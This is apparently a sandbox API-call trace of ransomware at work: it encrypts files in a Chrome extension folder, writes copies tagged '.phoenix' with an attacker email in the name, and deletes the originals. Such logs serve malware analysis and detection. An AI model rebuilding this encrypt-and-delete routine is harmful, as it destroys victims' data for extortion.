	[0262.366] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png")) returned 1
	[0262.367] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.367] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.368] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=160) returned 1
	[0262.368] CloseHandle (hObject=0x2b0) returned 1
	[0262.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png")) returned 0x20
	[0262.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.368] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.368] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.368] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.368] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.369] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0262.369] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.369] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa0, lpOverlapped=0x0) returned 1
	[0262.370] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0262.370] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb0, lpOverlapped=0x0) returned 1
	[0262.371] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0262.371] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.371] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0262.371] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.371] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0262.380] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0262.380] CloseHandle (hObject=0x2b0) returned 1
	[0262.380] CloseHandle (hObject=0x310) returned 1
	[0262.380] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_pressed.png")) returned 1
	[0262.381] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.381] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.381] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1322) returned 1
	[0262.381] CloseHandle (hObject=0x310) returned 1
	[0262.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json")) returned 0x20
	[0262.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.381] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.381] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.382] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.382] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.382] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0262.382] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.382] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x52a, lpOverlapped=0x0) returned 1
	[0262.680] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x530, dwBufLen=0x530 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x530) returned 1
	[0262.680] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x530, lpOverlapped=0x0) returned 1
	[0262.681] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0262.681] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.681] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.681] CryptDestroyKey (hKey=0x151040) returned 1
	[0262.681] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.681] CryptDestroyKey (hKey=0x151740) returned 1
	[0262.681] CloseHandle (hObject=0x310) returned 1
	[0262.681] CloseHandle (hObject=0x2b0) returned 1
	[0262.681] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\manifest.json")) returned 1
	[0262.682] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.683] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=609) returned 1
	[0262.683] CloseHandle (hObject=0x2b0) returned 1
	[0262.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json")) returned 0x20
	[0262.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.683] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.683] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.683] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.683] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.684] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0262.684] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.684] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x261, lpOverlapped=0x0) returned 1
	[0262.685] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x270, dwBufLen=0x270 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x270) returned 1
	[0262.685] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x270, lpOverlapped=0x0) returned 1
	[0262.686] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0262.686] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.686] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.686] CryptDestroyKey (hKey=0x151740) returned 1
	[0262.686] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.686] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0262.687] CloseHandle (hObject=0x2b0) returned 1
	[0262.687] CloseHandle (hObject=0x310) returned 1
	[0262.687] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\et\\messages.json")) returned 1
	[0262.688] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.688] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.689] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=673) returned 1
	[0262.689] CloseHandle (hObject=0x310) returned 1
	[0262.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json")) returned 0x20
	[0262.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.689] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.689] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.689] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.689] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.690] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0262.690] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.690] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2a1, lpOverlapped=0x0) returned 1
	[0262.693] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2b0) returned 1
	[0262.693] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2b0, lpOverlapped=0x0) returned 1
	[0262.694] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0262.694] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.694] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.694] CryptDestroyKey (hKey=0x151140) returned 1
	[0262.694] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.694] CryptDestroyKey (hKey=0x151300) returned 1
	[0262.694] CloseHandle (hObject=0x310) returned 1
	[0262.694] CloseHandle (hObject=0x2b0) returned 1
	[0262.694] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fi\\messages.json")) returned 1
	[0262.695] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.695] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.696] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=692) returned 1
	[0262.696] CloseHandle (hObject=0x2b0) returned 1
	[0262.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json")) returned 0x20
	[0262.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.696] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.696] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.697] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
